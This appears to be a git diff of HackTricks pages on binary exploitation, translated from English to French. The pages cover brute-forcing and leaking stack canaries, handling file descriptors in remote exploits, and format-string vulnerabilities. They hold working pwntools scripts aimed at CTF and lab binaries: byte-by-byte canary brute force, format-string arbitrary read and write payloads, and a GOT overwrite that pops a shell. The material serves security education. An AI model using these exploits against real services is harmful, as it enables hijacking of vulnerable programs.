**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.\
> Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Le meilleur moyen de contourner un canary simple est si le binaire est un programme **créant des processus enfants chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous y connectez, **le même canary sera utilisé**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Ensuite, le meilleur moyen de contourner le canary est simplement de **le brute-forcer caractère par caractère**, et vous pouvez déterminer si le byte de canary deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **brute-force un canary de 8 octets (x64)** et distingue entre un byte deviné correctement et un mauvais byte juste en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre méthode dans **d'autres situations** pourrait être d'utiliser un **try/except**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
### Exemple 1
Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Exemple 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement changé en 64 bits.\
Notez également que pour cet exemple, le **programme attend d'abord un octet pour indiquer la taille de l'entrée** et le payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,16 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.&#x20;
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
De plus, un **débordement de tampon dans une fonction threadée** protégée par un canari pourrait être utilisé pour **modifier le canari maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canari) via un **bof dans la pile** d'un thread.\
En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaris qui sont les mêmes (bien que modifiés).\
Cette attaque est décrite dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guy

View File

@ -1,33 +1,33 @@
# Print Stack Canary
# Imprimer le Stack Canary
{{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack
## Agrandir le stack imprimé
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **octets aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile qui va **imprimer tout le canary** (sauf le premier octet nul).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
**CTF examples:**&#x20;
**Exemples CTF :**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'à l'octet 0x00 du canary pour ensuite appeler puts et le divulguer. Avec le canary, un gadget ROP est créé pour appeler puts afin de divulguer l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 bits, ARM, pas de relro, canary, nx, pas de pie. Débordement avec un appel à puts dessus pour divulguer le canary + ret2lib appelant `system` avec une chaîne ROP pour pop r0 (arg `/bin/sh`) et pc (adresse de system)
## Arbitrary Read
## Lecture Arbitraire
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
Avec une **lecture arbitraire** comme celle fournie par les **chaînes de format**, il pourrait être possible de divulguer le canary. Vérifiez cet exemple : [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) et vous pouvez lire sur l'abus des chaînes de format pour lire des adresses mémoire arbitraires dans :
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Ce défi abuse de manière très simple d'une chaîne de format pour lire le canary depuis la pile
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# Problèmes d'Exploitation Courants
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## FDs dans l'Exploitation à Distance
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Lorsque vous envoyez un exploit à un serveur distant qui appelle **`system('/bin/sh')`**, par exemple, cela sera exécuté dans le processus du serveur, et `/bin/sh` s'attendra à une entrée de stdin (FD : `0`) et imprimera la sortie dans stdout et stderr (FDs `1` et `2`). Ainsi, l'attaquant ne pourra pas interagir avec le shell.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
Une façon de résoudre ce problème est de supposer que lorsque le serveur a démarré, il a créé le **FD numéro `3`** (pour écouter) et que, ensuite, votre connexion sera dans le **FD numéro `4`**. Par conséquent, il est possible d'utiliser l'appel système **`dup2`** pour dupliquer le stdin (FD 0) et le stdout (FD 1) dans le FD 4 (celui de la connexion de l'attaquant) afin de rendre possible le contact avec le shell une fois qu'il est exécuté.
[**Exemple d'exploit ici**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
Notez que socat transfère déjà **`stdin`** et **`stdout`** vers le socket. Cependant, le mode `pty` **inclut les caractères DELETE**. Donc, si vous envoyez un `\x7f` ( `DELETE` -) cela **supprimera le caractère précédent** de votre exploit.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Pour contourner cela, le **caractère d'échappement `\x16` doit être préfixé à tout `\x7f` envoyé.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Ici, vous pouvez** [**trouver un exemple de ce comportement**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Exemples :**
**Examples:**
- Vulnerable example:
- Exemple vulnérable :
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Utilisation normale :
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- Avec des arguments manquants :
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf vulnérable :
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Accéder aux Pointeurs**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :
```c
printf("%x %x %x %x")
```
et vous liriez du premier au quatrième paramètre.
and you would read from the first to the forth param.
Or you could do:
Ou vous pourriez faire :
```c
printf("%4$x")
```
et lire directement le quatrième.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Remarquez que l'attaquant contrôle le paramètre `printf`, **ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> Un attaquant contrôlant cette entrée, sera capable d'**ajouter des adresses arbitraires dans la pile et de faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Lecture Arbitraire**
Il est possible d'utiliser le formatteur **`%n$s`** pour faire en sorte que **`printf`** obtienne l'**adresse** située à la **n position**, la suivant et **l'imprimer comme si c'était une chaîne** (imprimer jusqu'à ce qu'un 0x00 soit trouvé). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence à la 4ème position dans la pile, il est possible d'imprimer le début du binaire avec :
```python
from pwn import *
@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée en 0x00 à la fin de cette adresse.
### Find offset
### Trouver l'offset
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`** et **augmenter** la valeur jusqu'à récupérer les `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +103,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Utilité
Arbitrary reads can be useful to:
Les lectures arbitraires peuvent être utiles pour :
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** le **binaire** de la mémoire
- **Accéder à des parties spécifiques de la mémoire où des informations sensibles** **sont stockées** (comme des canaris, des clés de chiffrement ou des mots de passe personnalisés comme dans ce [**défi CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
## **Écriture Arbitraire**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Le formatteur **`%<num>$n`** **écrit** le **nombre de bytes écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il sera capable de faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** à l'**adresse pointée par la position `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Cependant, notez qu'habituellement, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire pour exécuter :
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Nous allons **surcharger** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et **pointer** vers la **fonction** **`system`**.\
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse puis les autres 2. Pour ce faire, **`$hn`** est utilisé.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB** est appelé pour les 2 octets les plus élevés de l'adresse
- **LOB** est appelé pour les 2 octets les plus bas de l'adresse
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
If HOB < LOB\
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Modèle Pwntools
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans :
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Ou cet exemple de base [**ici**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) :
```python
from pwn import *
@ -225,27 +197,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Chaînes de format pour BOF
## Format Strings to BOF
Il est possible d'abuser des actions d'écriture d'une vulnérabilité de chaîne de format pour **écrire dans des adresses de la pile** et exploiter une vulnérabilité de type **débordement de tampon**.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## Autres exemples et références
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour divulguer le drapeau de la pile (pas besoin de modifier le flux d'exécution)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans `.fini_array` (pour que le flux boucle encore une fois) et écrire l'adresse vers `system` dans la table GOT pointant vers `strlen`. Lorsque le flux revient à main, `strlen` est exécuté avec l'entrée utilisateur et pointant vers `system`, il exécutera les commandes passées.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example
# Chaînes de format - Exemple de lecture arbitraire
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
## Lire le binaire de départ
### Code
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
Compilez-le avec :
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
### Exploiter
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- Le **décalage est de 11** car en plaçant plusieurs A et en **brute-forçant** avec une boucle de 0 à 50, il a été trouvé qu'à un décalage de 11 et avec 5 caractères supplémentaires (pipes `|` dans notre cas), il est possible de contrôler une adresse complète.
- J'ai utilisé **`%11$p`** avec un remplissage jusqu'à ce que l'adresse soit entièrement 0x4141414141414141.
- La **charge utile de la chaîne de format est AVANT l'adresse** car le **printf s'arrête de lire à un octet nul**, donc si nous envoyons l'adresse puis la chaîne de format, le printf n'atteindra jamais la chaîne de format car un octet nul sera trouvé avant.
- L'adresse sélectionnée est 0x00400000 car c'est là que le binaire commence (pas de PIE).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Lire les mots de passe
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
